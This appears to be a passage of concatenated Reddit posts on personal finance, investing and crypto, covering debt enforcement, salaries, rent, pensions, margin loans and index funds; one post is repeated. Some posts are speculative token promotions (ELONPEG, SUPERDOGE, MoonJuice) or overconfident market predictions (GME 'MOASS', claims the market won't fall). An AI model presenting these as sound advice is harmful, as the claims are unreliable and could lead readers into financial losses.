U.S. market fund. And at Admiral class, the expense ratio is 0.05%. Compared to $6.95/trade at many brokerages, you'd need less than one trade per $13,900 invested to have the same costs -- good luck not having your costs drag on your "versus index" performance there. + +>Note that I said "among the lowest" - there are occasionally funds with a lower expense ratio for the same product that come along. I've yet to see one that didn't feel like a loss leader, certainly not at the five-figures (or more) invested mark. On top of this, those with lower expense ratios tend to be offered by for-profit brokerages, further giving me the "loss leader" feeling as these companies lose business to Vanguard. It's only a matter of time, I feel, before the expense ratios of these creep up, or the companies offering them make up for the loss in other ways. By contrast, Vanguard runs their funds at-cost, so I know that the expense ratios I'm paying are the cost of operating the fund and that any future cost savings will go to me: they don't have shareholders (other than those who are invested in Vanguard mutual funds) who might want to claim the difference as profit. + +>**In summary**: if you aren't going to stock pick, or pick someone to pick for you, or pick someone to pick someone to pick for you, you're a good candidate for Vanguard's index mutual funds. And that's a sizable fraction of people who come here looking for advice. + +http://www.reddit.com/r/investing/comments/1owcra/moron_monday_ask_that_question_you_always_thought/ccwd45j +In February 2020 I made a money claim against someone who owes me just over £1,000. We had the loan agreed in writing. In March 2021 I finally was heard in court and the judge decided in my favour. The defendant admitted my initial claim, but falsely rebutted the amount owed. That's why it went to court. + +The guy received a CCJ and I'm really happy about that. The debt can be found on the Trust Online register and will be there until 2027. I then paid to have High Court Enforcement Officers on the case which took a few months, but they were unable to retrieve any money from him. I had to pay them the £75+VAT fee for it. + +So in addition to the amount owed, I've spent money on court fees, bailiffs, trace agents (to confirm the debtor's address). I suppose the trace agents is on me, I was 99% sure of his address but just wanted to confirm. The defendant changed it on the claim form to a false address anyway, which actually worked in my favour in court. I've been unable to recover any fees from the debtor. + +I have no idea where he *currently* works and trace agents have been unable to find out either, so the option to claim for the money to be taken out of his wages is out. I could try other HCEOs, but I'm not sure how successful they would be. I could make a claim to freeze his bank accounts for the money, but I don't think he has/keeps that much and I risk gaining nothing. + +Any more actions will cost me. I'm 25 and saving for a house. I'm just wondering if it's even worth it? Maybe I'm just chasing him because I'm salty. Maybe I'm wrong. I could live without the money, I have almost £30k in savings. The guy is in other debt too. I have the CCJ which is registered and probably ruining his credit even more, right? I'm not in contact with the debtor. Do I just let it go? +In February 2020 I made a money claim against someone who owes me just over £1,000. We had the loan agreed in writing. In March 2021 I finally was heard in court and the judge decided in my favour. The defendant admitted my initial claim, but falsely rebutted the amount owed. That's why it went to court. + +The guy received a CCJ and I'm really happy about that. The debt can be found on the Trust Online register and will be there until 2027. I then paid to have High Court Enforcement Officers on the case which took a few months, but they were unable to retrieve any money from him. I had to pay them the £75+VAT fee for it. + +So in addition to the amount owed, I've spent money on court fees, bailiffs, trace agents (to confirm the debtor's address). I suppose the trace agents is on me, I was 99% sure of his address but just wanted to confirm. The defendant changed it on the claim form to a false address anyway, which actually worked in my favour in court. I've been unable to recover any fees from the debtor. + +I have no idea where he *currently* works and trace agents have been unable to find out either, so the option to claim for the money to be taken out of his wages is out. I could try other HCEOs, but I'm not sure how successful they would be. I could make a claim to freeze his bank accounts for the money, but I don't think he has/keeps that much and I risk gaining nothing. + +Any more actions will cost me. I'm 25 and saving for a house. I'm just wondering if it's even worth it? Maybe I'm just chasing him because I'm salty. Maybe I'm wrong. I could live without the money, I have almost £30k in savings. The guy is in other debt too. I have the CCJ which is registered and probably ruining his credit even more, right? I'm not in contact with the debtor. Do I just let it go? +So I've been at my job since 2011, I'm a top sales guy. I started off at $9 an hour, and worked my way up to $15. At the latest, by the end of this year I hope to be at $16 an hour, and I make an average of $600-$1200 a month in commision. Last year I made $27k part time(24 hours a week)..... This year I'm working 40 hours a week, and a commision raise, so I plan to make atleast 40k. Do you think this is an okay wage, I mean I dropped out of high school, no GED... and I will be more important each year here. + +Is this an okay wage? I really want a junior one bedroom. +I had a financial advisor but after learning a lot I want to do it myself and just buy vt and VTI. It’s about 30k of course at a loss right now and he has a bunch of small cap and some large cap funds but was wondering what y’all’s thoughts were on selling it all and switching over. It is at a loss so maybe a good thing for capital gains for a while??? Any help is appreciated + +Edit his holdings are iusg iusv vtwo vea and vwo +Hey I am 19 years old and work at Walmart for 32-40 hours a week and I am looking to buy a car. My mom said she will co-sign for me because she has decent FICO score (750). I was wondering what would be the best way to go about buying a car? Would it be best to get a car loan from the bank or finance one from the dealer. I make about 1200 a month but I pay 400 for rent and I was wondering what would be a safe budget for me. what do you think insurance would cost since I've never been in an accident? I live in California btw and what would my monthly cost be for insurance and my loan? + I apologize if this is the wrong group for this type of post in advance - if so please redirect me. My mother has \~300k in a traditional IRA, 90k in an annuity and 60k in a low interest bearing bank account. She is still working and earns \~10k a year. No debts, owns her own home. She was complaining to me that the only reason she has so much in her low earning bank account is because she had to take the RMD from her traditional IRA and didn't really have the need for the money so just put it in her bank account. She is worried about liquidity and high risk so has not sought out any other investments. I tried telling her to use a Vanguard account to at least find something that earns more but claims she has been told by her financial planner that those are "high risk" so she shouldn't use them. It seems to me this financial planner is only out for his commission on her accounts so is steering her away from anything that might cut into that. I had suggested - since she is still earning - that she can even actually open up a Roth IRA to start moving her money out of the bank account into the Roth. I know there is a 5 year rule but in her case it would only affect the earnings - no penalties involved since she is over 59 1/2. And if she isn't using the money now for anything and is generally healthy I expect she can leave it untouched for the 5 years. Am I off base here? Am I not understanding something and if I am not off base - how do i convince her? +Hello everyone. Hope you are well. I have a feeling this question gets asked often, but hopefully you don’t mind too much. + +I am searching for an apartment (Studio or 1bd), and am wondering what a good price range is for my salary ($5,000 a month after taxes - excluding 401K contributions). I paid off all my debt. + +I am looking at a place that will cost $1,750 rent. Do you think that is okay? This is excluding wifi, amenities, etc. I don’t have a car, but might not need it because it will be very close to my work and I don’t have friends. + +I know living with parents is the best financial decision, but my mental health is getting worse and worse from them. + +Please let me know if I missed any information. Thank you. +My portfolio is about 70% NVDA, 30% AMD with a value just under $600k. It grew fast and now I want to derisk and diversify a bit. I just found SPYD which is S&P500 high dividends ETF. + +If I bought $500k worth of this SPYD at approx $41/share I would have 12,195 shares. TD shows the annual dividend as $2.27/5.56%. 12,195 x $2.27 = $27,682.93 Annually. + +I could be making this annually??? Just park it there and bam, $27k annually? What's the catch I'm not understanding? I get a very very small dividend from nvda but it's like $27 a quarter. Nowhere near the $27k annual that I'm coming up with SPYD. +I just started my first government job and I was looking at my contributions. The nice thing is the government is very generous when they are funded by tax $$$ lol. Unfortunately, I don't get my TSP at all. + +I've had IRAs where I can pick individual stocks. I've had 401ks were I have several dozen plans to choose from. AND, those plans have detailed information on the portfolio of each plan. With a TSP, I just get a list of letters. Do I want a G plan or a F plan or a L-2040 plan or.... ugggh. And, yeah, I get that find out they stand for things like global market fund or government bond fund or whatever. But, that's about it. I can't seem to figure out what individual stocks they hold and that's kinda weird for me. + +I understand the fund managers are probably educated and likely do better than some random redditor. I'm not saying I can do better. BUT, I manage my other portfolios! I like to see what it actually is! This isn't much of a question. Just a bit of a vent lol. There is a lot of comfort in knowing where your money is! +1. It has had the ability to move despite BTC price action. The flipping or something might happen too sometime in the future. + +2. Triple halving, EIP something, ETH 2.0... All of these updates are trying to make ETH more scalable and consumer friendly. + +3. Dapps are countless with countless use cases which Bitcoin has never supported. Bitcoin is a store of value and the market leader, but that's pretty much it. + +Would like to hear your opinions, against or matching mine. +Me and my family often eat out at Mitchel and Butler establishments such as Miller and Carter, Browns and Toby Carvery. I have just seen if you buy a single share you can get a shareholder perk of 20% off food and drink. What would be the best way and platform to buy a Mitchel and Butler share? + + +Some salary news has leaked/come out recently and it's really destroyed my motivation. I need to calm myself down before I say anything I regret to management/directors. + +I started working in the business in June 2016. + +Feb 2019 someone was employed to be on the same level as me within the business. At the time I was on £33k. It's come out he started on £35k. + +6 months later, his pay was bumped up to £37k and I was offered a 'generous' pay rise up to £35k. At the time I assumed the newer guy was on the same as me and this was to put me and him as equals. Turns out, they essentially defaulted that he will earn £2k a year more than me. + +That's despite the fact we're both employed to do the same role, despite the fact I've been with the business since 2016, never had a sick day, never caused any drama, never begged for anything... + +I feel so worthless right now. So taken advantage of. It's the principle more than anything, I realise it's only £100 or so extra take home a month. but it's also more in pension and more off my student loans (which, by the way - he doesn't have). + +I think my direct manager has caught wind I'm unhappy and has gone behind my back to the MD to request a pay rise for me. However no conversation has been had with me about it. For all I know the director thinks he can get away with bumping me up to £36k still less than my equal colleague. + +Again, utter disrepect that no one will even have a conversation with me? They knowingly under pay me then don't give me chance to say my piece! At this point, even if they put me up to £37k it will be less than my colleague as he's had 1% yearly 'inflation' increase (which is a joke in itself obviously). + +Am I being unreasonable to be frustrated and let down by this whole situation? Should I just accept I'm worth less than my colleague? + + +Edit : + +I called my manager and we had a conversation on the phone about it. He admitted that they fucked up. Said they put me up to his starting salary or close but never took into consideration that he had incremental increases. He's essentially said he's put forward to the director that he thinks me and colleague should be on the same but has no answer on making up for their 'mistake' as they can't then increase my pay to make up for it as others will then want more... Which I understand. So assuming backpay is a no go, any suggestions on how they could make it up somehow? Maybe deposit a chunk into my pension without anyone knowing? We don't really get any perks as a business other than profit share but that's controlled by the group who owns us. + + +Edit 2 : + +Further conversations today apparently there are plans behind the scenes for a bit of a restructure. This will end up with a promotion for me and the same colleague (to do what we currently do but in a more official capacity). With that will come a new pay package to reflect it. I guess this will provide some kind of department structure but it's not going to give me back the 2 years I just had... I guess it could be a win, will find out more in September when the MD rolls out his plans. +Yesterday, I received a letter in the mail from the Department of the Treasury stating that my entire tax return was being used to cover a debt owed to the Social Security Administration. I’m in my mid-20’s and have not received any social security benefits or payments in my name, nor did I receive a notice before this alerting me of a balance. + +My parents passed almost a decade ago, and my older sister has been the one responsible for handling their finances. When I told her about the letter, she mentioned that after they died a portion of their Social Security benefits were allocated to me, but since I was a minor the payments were made in her name, not mine. She also said that she didn’t receive a letter about a debt owed. + +We plan on going in on Monday to speak with someone but I wanted to see if there was any advice about what I should say or expect. I’m also curious about what the odds are of me getting my refund back. + +Thanks for your help. + +TL;DR: Social Security took my tax return to cover an old debt they say I owe. It may be related to my dead parents but I never got a letter saying I owed anything + +EDIT: Thanks for the advice, everyone. I won’t know exactly what I’m dealing with until I go in tomorrow but at least now I have a greater sense of what I can do/expect in the meantime. +I have a cousin who just graduated with a bachelors in finance from UCLA. + +He landed a job at some investment bank and is says he's now making $150,000 straight out of college (he says it's because of his bonus or something like that). That's insane. Not sure what his exact job title is but it's some analyst type job...not sure. + +How come people who work in this part of finance make so much freaking money? I mean, $150000 is more than most senior engineering positions. + +Can someone with experience explain please? +I live in Denver, the market has been insane. Every month homes are increasing as much as $60k in value. +https://www.westword.com/news/denver-record-home-price-average-800000-update-13807869 + +Im a first time homebuyer who started the process in December. I keep getting outbid by $55K+ on everything I put an offer on and each month rates rise and my budget has to decrease while homes get substantially more expensive. I feel like it’s a mad dash to buy whatever I can before I’m priced out completely which I almost am. + +I’ve been living in my friends basement trying to save up but feel my opportunity is slipping away. I want to move out and buy with my girlfriend but I honestly don’t know what to do. +We have an opportunity to move into a cheap apartment where I’ll still save lots of money but I feel like if I wait another year I’ll be priced out. +Here is the stats on us. +We make roughly $140k. Our budget is now down to $400k with an HOA below $350 as there’s almost no SFH at $400 or below. We can rent with friends and pay just $500 each for the year. I have $35k ready to put down and a 4 month emergency fund beyond that. + +Should I just give up the hunt of the house and live cheap and see if the market cools in a year and hope we make more? Should I just give up on Denver and move elsewhere? Im a bartender so cheaper places my pay would decrease? Or should I really try and buy whatever place I can? +Just got a 20&#37; cut instead of the annual 5&#37; raise due to budget in the company. Shouldn't have stuck around for altruistic reasons (seeing a project through to completion). Should have done better by myself and my family when I saw the future wasn't going to meet our needs in the right way. +What % of annual income do you spend on luxury items? I’m running at approx 2% on cars (leases), 2% on wine/whiskey, 2% on jewelry and watches, and another 1% on luxury goods/fashion. Probably a bit aggressive aside from the cars but curious as to what everyone else indulges on. +If so, why? +Where did you buy? +How much work do you do yourself? +How has it worked out (financially)? +If not, what don’t you like about vacations properties? +Sorry if this is in the completely wrong subreddit - please remove it if it is - but I didn’t know where else it would fit. Anyway, I hope someone else finds it as helpful as I did... + +I discovered the other day that, as a NatWest account holder, I was able to get Malwarebytes Premium antivirus software free of charge (RRP ~£50pa). It’s pretty great software (widely considered to be the best anti-malware software around), and the licence allows use on up to 10 devices! + +All you have to do is log on to internet banking and head to the Security tab. From there, the free Malwarebytes subscription should be listed, and all you have to do is follow the instructions to activate your licence. + +My guess is that NatWest are offering this in an attempt to reduce fraud (and perhaps are assuming that it will, overall, save them money in this way), and I think it’s especially useful in these strange times where many of us are working increasingly from home via the computer. + +Anyway... stay safe everyone! :) + +EDIT: This applies to all RBS Group banks, so NatWest, Royal Bank of Scotland and Ulster Bank +This one is for the apes that, like me, get through about 2 paragraphs of an average DD post and just assume anything that long and incomprehensible has to be right. I'm sure they usually are, just as the TA sometimes gets it right. But beyond all that, I'm holding because the people who would know if we're right have made it pretty fucking obvious that we are. + +Let's talk about the clear-as-day, fucking Bat-Signal-sized signs that have been put out by the chairman and the goddamn company itself, and why you'd have to be blinder than an SEC officer ~~with a masturbation problem~~ (edit: redundant) not to see the MOASS is happening and happening soon. + +First, let's fondly revisit the 48 hours that @Gamestop went full ape (*always* go full ape). This was a full-court social media blitz - not just "moass effect," but posts and replies on multiple platforms that winked, nudged and all but confirmed Gamestop corporate knows exactly what we're about and that they're here for it. + +My theory is this was directed by Cohen and was a either a test of the SEC or the result of a dispute with them. He may well have had proof that hedgies were manipulating sentiment on reddit and elsewhere, and after the SEC didn't step in, figured that meant he could drive his own sentiment. + +But that's just a theory. + +RC himself has tweeted multiple memes that came specifically from this sub and GME-related subs, as recently as last month. + +If it was just once, maybe he saw someone who took it from reddit and tweeted it. I count at least 3 memes directly from this sub, not counting the Lego Gamestop, which is riddled with direct references to this community. + +And this is not a guy known for tweeting a lot. Thirty-four times this year, by my count. Try counting Cokerat or Muskman's sometimes-hourly missives. + +So he either: + +A. is one of the brashest hucksters in a generation, playing a ridiculously intricate and dangerous long con that would require Nostradamus-like precognition and the willingness to gamble unfathomable amounts of money gained from honest endeavors on a dishonest one. + +Two: is completely oblivious, and tweets random stuff he finds online without knowing its significance. + +Or III. has seen our community's DD, and knowing what he knows, knows that what we know is worth knowing about. We're right, MOASS is happening, hedgies r fuk. + +Let's toss two right out - Cohen is obviously an intelligent, rational individual. He is a self-made billionaire in his 30s. He's also the chairman of the company and is, in the very least, surrounded by competent analysts keeping him abreast of our 600,000 member community of like-minded investors and what we're like-minded about. + +Let's play devil's advocate on A., that he's leading us all on. He'd be risking not only tens of millions of dollars, but his reputation and his career in finance. If it was some kind of insane pump and dump scheme, he would have dumped his shares, quit the board and left with his additional billions months ago. + +Or, III, he knows he can transform the company, he knows the fuckery that's transpiring, he knows we're right, and he's signaling that to us, probably in the clearest way that his legal team is comfortable with. + +He's saying there's a chance. He's telling us to buckle up. His actions are speaking louder than his words as he builds up the company brick by brick to bring the power to the players, because we can't stop. We won't stop. **GAMESTOP.** +Hello r/cryptomoonshots! We are excited to announce a newly developed twist on deflationary tokens: ELONPEG. This token features the standard taxation/reflection mechanics (detailed below), but also an innovative framework for automatic burn: every time Elon tweets, the Burn Vault will automatically burn 0.5% of its supply. Just like USDT is pegged to the US Dollar, ElonPeg is literally pegged to that vomit-inducing moment when you realize Elon is on Twitter again. +WEBSITE: https://elonpeg.com + +A quick note about me: My name is Sammy and I am one of the project founders. You’ve probably seen me here talking about Fox Finance where I remain an advisor, but I’ve teamed up with some amazing crypto-junkies to launch an LLC, and with it ElonPeg and its amazing automation capabilities. + +🔥 So, what makes ElonPeg special? 🔥 +Let’s get the basic tokenomics out of the way (also on the site): +• 9% tax on every transaction: 3% to holders, 3% to liquidity, 3% to marketing, events, and carbon offsetting +• 1 Trillion total supply, 500Bn has been sent to the BurnUponTweeting contract, and 420Bn will be up for grabs +• The BurnUponTweeting contract (audited along with the token) which is called the Burn Vault starts with half the total supply. Every time Elon tweets, the function ElonTweeted(tweetId) is called, burning 0.5% (adjustable) of the Burn Vault supply. +• In order to ensure the supply in the Burn Vault is still in circulation, all burn transfers will incur and pay out from the tax. Additionally, a "reclaim" function was added allowing a 2% withdrawal to the marketing wallet only every 50th Elon Tweet. It’s doubtful it will ever be used unless begged to by the community for a major marketing/event push! +BurnUponTweeting has been extensively tested in Testnet and we’re all pretty excited about it. Elon Tweets are picked up within minutes, kicking off a process that burns the required amount, stores the tweet ID in the burn transaction record, and sends alerts to the Telegram channel. We also hope to have this retweet and announce on Twitter in the future. You can read more info on the site and lite paper at elonpeg.com + +🪐 What is happening RIGHT NOW? 🪐 +Thanks Elon for all the action last night! $75k token value already burned since we launched at 7pm UTC 03.06.21 Insane wallet-drop reflections for early holders with every Elon Tweet and automated burn. +✅ Burn vault launched with 50% supply of “still in circulation” ElonPeg. +✅ 0.5% of the Burn Vault is burned (automated and contract bound) every time Elon Tweets - including share and reply. +✅ Burn wallet reflection rewards are currently turned off. That’s a 50% stake, recieving nothing. Which means huge token reflection wallet-drops every tweet for early holders. + +We had no idea that we would smash our 600bnb presale hardcap yesterday within 10minutes, but now we can utilise unlocked liquidity (20%) for explosive marketing without selling any ElonPeg from our marketing wallet (thus dumping price). +We have given the nod to our marketing guys and this is powering ahead full steam. Influencers will need 24/48 hours to prepare content. We are now paying for big ad banners and website promotions and aiming to get these out asap. We are applying for CMC/CG today, and we want to get this out quickly. + +🪐🪐🪐 +Watch out later today for Twitter-integrated burn reports linked to Elon’s tweets, contract-bound, visible on the blockchain. Bring the burn. 🔥 +Lastly, we have formed a ShillX group for people who want to be active and get involved at an early stage. We will be incentivising and rewarding participants. Whilst we ramp up marketing, we need your support. +https://t.me/joinchat/r9PWtxYIb7ZlZDEx + +👀 How safe is this? 👀 +Heads up! 🗣️ + +CoinGecko just listed **SUPERDOGE! 💥** +[https://www.coingecko.com/en/coins/superdoge](https://www.coingecko.com/en/coins/superdoge) + +Satoshi Club AMA is on May 25th at 11:00 AM UTC. +[https://t.me/satoshi\_club\_channel/934](https://t.me/satoshi_club_channel/934) +🔹🔸🔹 + +**$SUPDOG** is a deflationary meme coin that brands itself as the “**world’s first crypto superhero**”. + +There is a 6% tax rate on every transaction: + +🔥2% is permanently burned from the supply. + +💎2% is distributed to holders. + +🫂2% is sent directly to charity via smart contract. + +Team tokens are locked via DxSale. Liquidity is locked for **79 years.** + +[BSC Checker Audit](https://t.me/bscChecker/287) | [CertiK audit](https://www.certik.org/projects/superdoge) + +🔹🔸🔹 + +Marketing is managed by **Transform Group**. Transform Group is the leading PR team in the crypto industry and have launched the likes of Ethereum, Tether, and EOS! Their clients have approximately **$331 billion combined market value.** + +Press releases: + +[Bloomberg](https://www.bloomberg.com/news/features/2021-05-20/crypto-market-prices-ass-coin-superdoge-billionaires-prosper-and-fall) | [Yahoo Finance](https://finance.yahoo.com/news/superdoge-meme-coin-launches-reaches-170500547.html) | [CNBC](https://www.cnbc.com/2021/05/03/kelly-evans-taking-crypto-seriously.html) | [Financial Post](https://financialpost.com/globe-newswire/superdoge-meme-coin-launches-reaches-13m-market-cap-in-first-48-hours-worlds-first-crypto-superhero-coin-donates-2-of-all-transactions-to-various-charities-via-smart-contract-150000-already-do) | [Morning Star](https://www.morningstar.com/news/globe-newswire/8226659/superdoge-meme-coin-launches-reaches-13m-market-cap-in-first-48-hours) | [BollyInside](https://www.bollyinside.com/news/superdoge-meme-coin-launches-reaches-13m-market-cap-in-first-48-hours) + +🔸🔹🔸 + +For anyone on the fence, I’d highly recommend watching the YouTube AMAs. I’m sure you’ll get a sense of the **professionalism and experience** of the development team. + +**Episode 1** of the SuperDoge AMA on Youtube. Watch it here: [https://youtu.be/5uJeYRDRksc](https://youtu.be/5uJeYRDRksc) + +**Episode 2** of the SuperDoge AMA on Youtube. Watch it here: [https://youtu.be/jqwSI-pCrN0](https://youtu.be/jqwSI-pCrN0) + +**Episode 3** of the SuperDoge AMA on Youtube. Watch it here: [https://youtu.be/OWYwvBN\_I30](https://youtu.be/OWYwvBN_I30) + +**Episode 4** of the SuperDoge AMA on Youtube. Watch if here: [https://youtu.be/VG5jt6wnP-M](https://youtu.be/VG5jt6wnP-M) + +🔹🔸🔹 + +500+ BNB has already been generated to our wonderful charities! You can track this number live on superdoge.io + +Here are the charity wallets that are currently each receiving 1/3 of the 2% tax rate. + +💕**WELLS BRING HOPE** drills wells to bring safe water and sanitation to the poorest country in the world. Visit website [here](https://wellsbringhope.org/). Address 0x2A8500831745891D2aC01403Da08883be4D58b72. + +💕**CHILD ENRICHMENT** is providing a voice and a path forward for local children that have experienced abuse of neglect in foster care. Visit website [here](https://www.childenrichment.org/). Address 0x7Dd4eAE167bc55F9EA5df729936Dcc69af0B54B5. + +💕**CLARE MATRIX** is providing support and a full range of treatment methods to overcome addiction to drugs or alcohol. Visit website [here](https://www.clarematrix.org/). Address 0xdDE25A762653baf7D53725010ab3901E6E527523. + +🔸🔹🔸 + +Twitter responses from charities: + +✨Child Enrichment Inc [https://twitter.com/CEI\_AugustaGA/status/1385624911167823872](https://twitter.com/CEI_AugustaGA/status/1385624911167823872) + +✨Wells Bring Hope [https://twitter.com/WellsBringHope/status/1386505061048766466](https://twitter.com/WellsBringHope/status/1386505061048766466) + +✨Clare Matrix [https://twitter.com/CLAREMATRIX/status/1386718198037458947](https://twitter.com/CLAREMATRIX/status/1386718198037458947) + +[Website](https://superdoge.io/) | [Chart](https://charts.bogged.finance/?token=0x622A1297057ea233287ce77bdBF2AB4E63609F23) | [BscScan](https://bscscan.com/token/0x622a1297057ea233287ce77bdbf2ab4e63609f23) | [CoinGecko](https://www.coingecko.com/en/coins/superdoge) +[Telegram](https://t.me/SUPERDOGEio) | [Twitter](https://twitter.com/SUPERDOGEio) | [Reddit](https://www.reddit.com/r/SUPERDOGEIO/) | [Discord](https://discord.com/invite/PXPXvpgqQq) | [Facebook](https://www.facebook.com/SUPERDOGEio) | [Instagram](https://www.instagram.com/superdogeio/)| [YouTube](https://www.youtube.com/channel/UCbqjUtH_o-CbxP3NM7lJSTQ) | [Medium](https://superdogeio.medium.com/) | [WhitePaper](https://www.superdoge.io/assets/whitepaper/SUPERDOGE-WHITEPAPER.pdf) + + +In crypto, let alone on BSC, there is little in the way of legitimate teams that seek to deliver to space in a positive way. MoonJuice seeks to be a worthy fork to Moonpirate and to do that they're doxxing the core team and working to deliver a solid follow-up to the recent banger. They're developing a fork that should match the original token's longevity and stability. I believe that with a team like theirs -that seems to present a lot of experience in SaaS & eCommerce- they'll be able to deliver on keeping what made Moonpirate great while developing their own interesting take on the usecase for the token. The head of the team is a start-up lead, and there's a lot of talent among their group from what I've gathered. Of course, this is just coming from someone on the outside looking into a newly developing project so of course, you should look into the group yourselves. The roadmap will be coming. They're dropping updates on: + +Website: [https://www.moonjuice.app/](https://www.moonjuice.app/) + +Pancakeswap: [https://exchange.pancakeswap.finance/#/swap?outputCurrency=0x8087e4c1735c1373f0d04b88d4dbe1fae1149123](https://exchange.pancakeswap.finance/#/swap?outputCurrency=0x8087e4c1735c1373f0d04b88d4dbe1fae1149123) + +LIQ Burned Proof: [https://bscscan.com/token/0x44c59fbd1e59cAE9b7c662ffc22117F20B0b653d?a=0x000000000000000000000000000000000000dead](https://bscscan.com/token/0x44c59fbd1e59cAE9b7c662ffc22117F20B0b653d?a=0x000000000000000000000000000000000000dead) + +PooCoin: [https://poocoin.app/tokens/0x8087e4c1735c1373f0d04b88d4dbe1fae1149123](https://poocoin.app/tokens/0x8087e4c1735c1373f0d04b88d4dbe1fae1149123) +In the trading books, they just show us that there are 4 price stages. They make it look simple to see that you should always put your trades during markup. But in reality, it's really hard to spot if the price is on which stage it is. + +&#x200B; + +https://preview.redd.it/1hm1u7m3t6i51.png?width=608&format=png&auto=webp&s=aa5a2c09dc38e3100a13e1c2688a019df3933003 + +What made it simple for me is the 30-MA indicator. I use 30-MA on a weekly/daily chart to check which stage the current price is on (Got this strategy from Stan Weinstein's book) [See strategy](https://mindtoinvest.com/2020/07/11/stock-tips-stan-weinsteins-secrets-for-profiting-in-bull-and-bear-markets/) + +https://preview.redd.it/1v93vtq5q6i51.png?width=571&format=png&auto=webp&s=2bce7e1a28ef825bbc96128bdc2a00f676f33259 + +Basically, to check if the price is accumulating and waiting for breakout (Stage 1 to Stage 2) + +\- In a sideways movement, the price should be above and creating a gap (upward movement) from the 30-MA line. + +To check if the price is on the distribution and waiting for breakdown (Stage 3 to Stage 4) + +\- In a sideways movement, price should be below and also creating a gap (downwards movement) from the 30-MA line + +Hope this helps. What are your thoughts on this as well? +Any reputable traders that stream / live chat their daily moves? + +Curious if there are any day traders out there that stream their entry / exits so you can follow along to learn. + +Trying to get started here, but I learn best by watching someone in action, taking notes, and also copying them. Whether it’s on paper or just simply seeing the live strategy. +Forget about payout ratio which is 99%. +What about free cash flow ? +Their free cash flow is $3,573,000 +Dividends paid out is $6,089,000 + +How can this continue - what am I missing ? +Currently I have 80 percent us equity and 20 percent Canadian equity. For the three years I have been invested the Canadian equity basically follows the trend of the us equity but with significantly weaker overall returns. I am thinking of dumping my Canadian equity and just putting all my money long term into VTI with a sprinkling of VGT or QQQ for extra tech exposure all usd ETFs .I just don't see how long term the companies in the tsx heavily weighted in banks utilities energy and resources will be able to beat the returns of the diversified, dynamic growth and innovative companies in the s and p 500 and Nasdaq 100. It seems like a logical move . I want to make money and I don't want to drag along dead weight for 25 years pulling me down. +Here is my situation. I left the provincial government after 10 years. I am 32 and don’t need/want any of my retirement until I’m 65. I can keep my pension in the plan and then at age 65 I will make about $800 a month till I die (it’s a defined pension plan). However the plan isn’t indexed for inflation. My second option is to take two lump sums. One is about $65,000 that I could transfer to a LIRA. The other sum is about $25,000 of over contributions that I can transfer to RSPS. + +My plan is to take the lump sums and to invest all of the money into VEQT. I do not plan on touching a penny until I’m 65. In the meantime I invest 15% of my monthly earnings (approx $3000) into VEQT in my RSP and TFSA until I retire. + +Does this sound smart? Or should I leave my pension in the fund/ and or invest in thing other than VEQT? + +I really appreciate any and all feedback. This is stressful for me as I thought I would stay with the government and never really have to think about investing. + +Thank you + +- E +First time on Reddit, haven’t been focusing on any cannabis stocks in awhile and from what I’ve seen they have been down a lot since I got out. Does anyone have information for me as to where the direction of this market is going? +I have an easy saver account open with Monzo that currently sits at 1% interest. Over the past two years, they’ve automatically adjusted the interest rate up and down so I (perhaps naively) assumed they would continue to do so. + +Yesterday I happened to look at opening a new savings account, lo and behold I could open a new one at 2% interest, double my current rate. + +I know there are other savings accounts out there that offer better rates but for those looking to stay within Monzo I hope it helps. +Guys, + +wanted to get your thoughts on something. We are in the process of buying a new home ($1.5-2M range). The cost and yearly expenses are well south of the accepted debt coverage and I don't think we will have any issues getting a mortgage (talking to Schwab right now as our brokerage account is with them). We should also clear around $1M from the sale of our current home. + +What I am trying to better understand is the pro's/con's of going with a margin loan vs a mortgage. For simplicity lets assume we buy a $2M house. + +Option 1 - pay 20% down (400k), put the 600k remaining from the sale of the house in the brokerage account and take a 15yr fixed mortgage (\~2.6%) + +Option 2 - Buy the house for all cash using a margin loan and put the $1M in the brokerage. The brokerage account (\~6.5M) is big enough for a $2M margin loan + +Based on our current economics, I could probably pay off the margin loan in 3 years or so without selling any investments, We put in about $600k a year in the brokerage and I would use that to pay off the margin - or just hold off on the margin and keep on investing in the brokerage account (depending on market etc) + +The benefit I see to a margin is that there are no closing fees, hassles etc. And by buying cash I can probably negotiate the house price down. It also does not have any pre-payment charges . But I also realize that it is risky and if the market turns I will need to make adjustments - but unless there is a major correction, the account should be healthy enough to secure the margin + +Benefit to a mortgage. Some tax advantages (have to figure out how much), locked in rate. Less risky if the market turns. + +I am just getting started in understanding all these factors. Figured you guys would have some thoughts that could help me in my thinking + +Thanks + +&#x200B; + +EDIT - thanks for all the feedback. In the end we decided against the margin and got a no points mortgage with Schwab/Rocket at \~2.3APR for a 10yr arm. We did set up a margin account and am planning on using that for the downpayment if needed. +I'm planning to quit my stressful job next year when I hit my number. One idea my fiancée and I have floated is moving to Europe for the summer (likely late May - November). We'd like to have a city or two where we would rent a nice flat or house (budget up to $20K/month) and then just live a more laid back life for a bit (reading/studying things we are interested in/good food/exercise/museums/beaches/lots of outdoor adventures in the Alps) etc. We have structured our life to have very few possessions/no kids yet/no home/etc yet our current work schedules are very demanding and we'd like to experience life outside the grind, especially before having kids/settling down more. We are "fly first class" wealthy, not "fly in my jet" wealthy. + +We aren't interested in "nomading" where we are in a different city every few days as we find this type of travel to have too much "motion" and not enough "living". We have a number of friends in similar fortunate situations who would likely join us for portions of the trip which would increase the housing budgets. + +A few questions for the community: + +1) Any recommendations of cities to base out of? We really like Geneva (close to mountains yet lively) and Paris (wonderful culture/food) but weren't as keen on London (would be better single ;). Maybe somewheres closer to the Mediterranean like the South of France/Amalfi coast? + +2) Recommendations on housing? How easy is it just to rent a nice apartment/house if you just a have a US passport (forgive me if this varies a lot in different EU countries). + +3) Any advice from people who have done a similar type of experience? + +Thanks as always, this sub is incredible. +I find it hard to meet people that are similar in my situation. Anybody in San Diego know of a social club or group where to meet early retirees to hang out and meet people? Most social clubs I go to people always try and sell me a house or their products lol....I don't blame them but I'm just looking at the more social aspect of being fatFired. +So many analysts have been saying lately that the market is heavily over-valued amid the pandemic and is due for a crash or major correction at least. In all honesty, they themselves are not sure what's going to happen and are simply rolling the dice, hoping that the outcome will be in their favor so that they will be given astounding credit in the media just in the case the market does fall, which it won't. + +The government is printing more money in a matter of days than it has in 10 YEARS. Money supply has gone up so fast and the market is going up an insane amount for the same reason, accounting for the huge deflation in the value of the currency. I hate these analysts with every fiber of my being because they think that they can time the market, but they know deep inside, that they are wrong and are misguiding everyone. This can't be compared to the 2008 crisis because the fed and government are doing everything they can to support the ETFs by not only printing more money but also putting in policies to make this a fail-proof market. Why don't people understand that the government is printing money so that normal retails investors keep pumping 